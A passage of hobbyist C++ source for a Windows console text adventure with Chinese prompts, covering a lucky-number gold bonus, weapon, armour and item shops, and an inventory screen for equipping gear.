        FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
        FOREGROUND_BLUE);
        Sleep(400);
        cout<<"请";
        Sleep(400);
        cout<<"输";
        Sleep(400);
        cout<<"入";
        Sleep(400);
        cout<<"你";
        Sleep(400);
        cout<<"的";
        Sleep(400);
        cout<<"幸";
        Sleep(400);
        cout<<"运";  
        Sleep(400);
        cout<<"数";
        Sleep(400);
        cout<<"字"<<endl;  
    	cin>>ty;
        if(ty==41) 
    	{
    		cout<<"你是欧皇!!!!!"<<endl; 
    		cout<<"金币+1000000000000000000000!!!!!"<<endl<<endl; 
    		jb=1000000000000000000000; 
    	}
    	else
    	{
    		cout<<"你~运~气~一~般~般~啊!!!!!"<<endl<<endl;
    		jb=0;
    	}
        Sleep(400);
        cout<<"这";
        Sleep(400);
        cout<<"是";
        Sleep(400);
        cout<<"一";
        Sleep(400);
        cout<<"个";
        Sleep(400);
        cout<<"勇";
        Sleep(400);
        cout<<"者";
        Sleep(400);
        cout<<"的";
        Sleep(400);
        cout<<"世";
        Sleep(400);
        cout<<"界";      
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
        FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
        FOREGROUND_GREEN);
        Sleep(400);
        cout<<"  你";
        Sleep(400);
        cout<<"想";
        Sleep(400);
        cout<<"来";
        Sleep(400);
        cout<<"挑";
        Sleep(400);
        cout<<"战";
        Sleep(400);
        cout<<"一";
        Sleep(400);
        cout<<"下";
        Sleep(400);
        cout<<"吗";
        Sleep(400);
        cout<<"?"<<endl<<"            制作用时:41小时52分\n";
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
        FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
        FOREGROUND_RED);
         Sleep(400);
        cout<<"  确";
        Sleep(400);
        cout<<"认";
        Sleep(400);
        cout<<"输";
        Sleep(400);
        cout<<"入";
        Sleep(400);
        cout<<"1,";
        Sleep(400);
        cout<<"否";
        Sleep(400);
        cout<<"则";
        Sleep(400);
        cout<<"输";
        Sleep(400);
        cout<<"入";
        Sleep(400); 
        cout<<"2"<<endl;         
        cin>>o;   
    	 if(o==2)
    	{   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
            FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
            FOREGROUND_RED);
    		cout<<"你不行啊!\n";
    	}
        if(o==1)
        {
        	 zcd:
        	 for(;;)
        	 {
        	 		 	system("color 3F");
          	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
            FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
            cout<<"                                                                                                      \n";
    	    cout<<"  ----------------*主菜单*----------------                          如果你是新手,请在主菜单输入‘5 ’\n";
    	    cout<<"  |1.移动 2.查看背包 3.回血 4.战斗 5.其他|                          进入其他,在其他里输入数字‘2 ’  \n";
            cout<<"  --------------祝您玩的开心--------------                          进入游戏相关信息,了解游戏规则    \n"; 
            cout<<"                                                                                                      \n";
    	    cin>>o;	
        
        
        
        
        
        
              if(o==1)
            {
            	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
            	goto yd;
           	}
           	
           	
           	
           	  if(o==2)
    		{
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
    		  	goto ckbb;
    		}
    		
    		
    		
    		 if(o==3)
    		{
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
    		  	goto hx;
    		}
    		
    			 if(o==4)
    		{
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
    		  	goto zd;
    		}
    		
    			 if(o==5)
    		{
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
    		  	goto qt;
    		}
    		
    		
             yd:
             			 system("color 3F");
            	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
                cout<<"  -------------*请选择*-------------------------  \n";
    	        cout<<"  |  1.铁匠铺  2.盔甲铺  3.技能店 4.返回主菜单 |  \n";
                cout<<"  -----------祝您玩的开心-----------------------  \n";
    		    cin>>j;
    		    
        
        
        
        
            if(j==1)
            {
            	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
            	goto tjp;
           	}
           	
           	if(j==2)
           	{
           		SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
           		goto kjp;
    		}
    		
    		if(j==3)
    		{
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
    			goto jnd;
    		}
    		
    		if(j==4)
    		{
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
    			goto zcd;
    		}
            
                 tjp:
    			 system("color 3F");
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
                cout<<"  -------------*铁匠铺*-------------------------------------------------------------------------------------  \n";
    	        cout<<"  |  1.匕首(50金币,+2伤害)2.利剑(80金币,+3伤害)3.圣剑(120金币,+5伤害)4.恶魔之刃(200金币,+7伤害) |  \n";
    			cout<<"  |  5.火焰剑(300金币,+10伤害)6.绝世圣剑(500金币,+20伤害) 7.返回主菜单                                 |  \n";
    		    cout<<"  ------------------------------祝您玩的开心----------------------------------------------------------------  \n";
    		    cin>>p;
    		    if(p==1)
              {
                if(jb>=50)
                {
                bs++;jb-=50;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了匕首,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                goto zcd;
                
    	      }
    	       if(p==2)
              {
                if(jb>=80)
                {
                lj++;jb-=80;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了利剑,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==3)
              {
                if(jb>=120)
                {
                sj++;jb-=120;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了圣剑,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==4)
              {
                if(jb>=200)
                {
                emzr++;jb-=200;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了恶魔之刃,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==5)
              {
                if(jb>=300)
                {
                hyj++;jb-=300;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了火焰剑,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==6)
              {
    	
                if(jb>=500)
                {
                jssj++;jb-=500;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了绝世圣剑,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
              }
    	        if(p==7)
    	        {
    	        	goto zcd;
    			}
    	      
    	      
    	      
    	      
    	      
    	         kjp:
    			 system("color 3F");
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
                cout<<"  -------------*盔甲铺*---------------------------------------------------------------------------------------------  \n";
    	        cout<<"  |  1.皮革甲(50金币,+4防御)2.锁子甲(80金币,+6防御)3.黄金甲(120金币,+10防御)4.钻石披风(200金币,+14防御) |  \n";
    			cout<<"  |  5.火焰甲(300金币,+20防御)6.火凤凰之甲(500金币,+40防御) 7.返回主菜单                                       |  \n";
    		    cout<<"  ------------------------------祝您玩的开心------------------------------------------------------------------------  \n";
    		
    		    cin>>p;
    		    if(p==1)
              {
                if(jb>=50)
                {
                pgj++;jb-=50;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了皮革甲,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==2)
              {
                if(jb>=80)
                {
                szj++;jb-=80;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了锁子甲,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==3)
              {
                if(jb>=120)
                {
                hjj++;jb-=120;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了黄金甲,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==4)
              {
                if(jb>=200)
                {
                zspf++;jb-=200;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了钻石披风,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==5)
              {
                if(jb>=300)
                {
                hy++;jb-=300;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了火焰甲,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==6)
              {
                if(jb>=500)
                {
                hfhzj++;jb-=500;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了火凤凰之甲,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	      if(p==7)
    	      {
    	      	goto zcd;
    		  }
    	    
    	    
    	    
    	    
    	    
    	         jnd:
    			 system("color 3F");
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
                cout<<"  -------------*技能店*------------------------  \n";
    	        cout<<"  |1.绷带 2.医疗包 3.炸弹 4.手雷 5.返回主菜单 |  \n";
    	        cout<<"  |150金币 250金币 200金币 300金币            |  \n";
                cout<<"  -----------祝您玩的开心----------------------  \n";
    	        cin>>p;
    		    if(p==1)
              {
                if(jb>=150)
                {
                bd++;jb-=150;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了绷带,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==2)
              {
                if(jb>=250)
                {
                ylb++;jb-=250;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了医疗包,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==3)
              {
                if(jb>=200)
                {
                zd++;jb-=200;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了炸弹,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==4)
              {
                if(jb>=300)
                {
                tnt++;jb-=300;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了手雷,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                 Sleep(800);
                 goto zcd;
                 
    	      }
    	      if(p==5)
    	      {
    	      	  goto zcd;
    		  }
    		  
    		  
    		  
    		  
    		  
    		 
    		  
    		  
    		  ckbb:
    	      system("color 3F");
    	      SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
              FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
              FOREGROUND_BLUE);
               Sleep(100);
              cout<<"  ----------背包---------\n";
               Sleep(100);
              cout<<"  您有"<<jb<<"个金币  \n\n"; 
               Sleep(100);
              cout<<"  您有"<<sh<<"伤害(包括武器)  \n";
    		   Sleep(100);
    		  cout<<"  您有"<<sm<<"血量(包括防具)  \n\n";
    		  
               Sleep(100);
              cout<<"  您有"<<bs<<"个匕首(输入1装备,+2伤害)  \n";
               Sleep(100);                               
              cout<<"  您有"<<lj<<"个利剑(输入2装备,+3伤害)  \n"; 
               Sleep(100);                               
              cout<<"  您有"<<sj<<"个圣剑(输入3装备,+5伤害)  \n";
               Sleep(100);
              cout<<"  您有"<<emzr<<"个恶魔之刃(输入4装备,+7伤害)  \n";
               Sleep(100);
              cout<<"  您有"<<hyj<<"个火焰剑(输入5装备,+10伤害)  \n";
               Sleep(100);
              cout<<"  您有"<<jssj<<"个绝世圣剑(输入6装备,+20伤害)  \n\n";
              
               Sleep(100);
              cout<<"  您有"<<pgj<<"个皮革甲(输入7装备,+4防御)  \n"; 
               Sleep(100);
              cout<<"  您有"<<szj<<"个锁子甲(输入8装备,+6防御)  \n";
               Sleep(100);
              cout<<"  您有"<<hjj<<"个黄金甲(输入9装备,+10防御)  \n";
               Sleep(100);
              cout<<"  您有"<<zspf<<"个钻石披风(输入10装备,+14防御)  \n";
               Sleep(100);
              cout<<"  您有"<<hy<<"个火焰甲(输入11装备,+20防御)  \n";
               Sleep(100);
              cout<<"  您有"<<hfhzj<<"个火凤凰之甲(输入12装备,+40防御)  \n\n";
    		
               Sleep(100);
              cout<<"  您有"<<bd<<"个绷带(回复5血)  \n";
               Sleep(100);
              cout<<"  您有"<<ylb<<"个医疗包(回复10滴血)  \n";
               Sleep(100);
              cout<<"  您有"<<zd<<"个炸弹(造成8伤害)  \n";
               Sleep(100);
              cout<<"  您有"<<tnt<<"个手雷(造成15伤害)  \n\n";
              Sleep(100);
              cout<<"输入13,返回主菜单\n";
              system("color 3F");
              cin>>j;
              if(j==1)
              {
              	if(bs>=1)
              	{
              	sh=7;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n";
    			 Sleep(800);
    			goto zcd;
    		  }
              }
        
    			
    			  if(j==2)
              {
              	if(lj>=1)
              	{
              	sh=8;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
            
    		
    			
    			  if(j==3)
              {
              	if(sj>=1)
              	{
              	sh=10;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
            
    		
    			
    			  if(j==4)
              {
              	if(emzr>=1)
              	{
              	sh=12;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
            
    		
    			
    			  if(j==5)
              {
              	if(hyj>=1)
              	{
              	sh=15;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n";
    			 Sleep(800);
    			goto zcd;
    		  }
              }
            
    	
    			
    			  if(j==6)
              {
              	if(jssj>=1)
              	{
              	sh=25;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
            
    			
    			  if(j==7)
              {
              	if(pgj>=1)
              	{
              	sm=44;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
            
    		
    			
    			  if(j==8)
              {
              	if(szj>=1)
              	{
              	sm=46;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
            
    		
    			
    			  if(j==9)
              {
              	if(hjj>=1)
              	{
              	sm=50;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
            
    		
    			
    			  if(j==10)
              {
              	if(zspf>=1)
              	{
              	sm=54;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
            
    		
    			  if(j==11)
              {
              	if(hy>=1)
              	{
              	sm=60;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
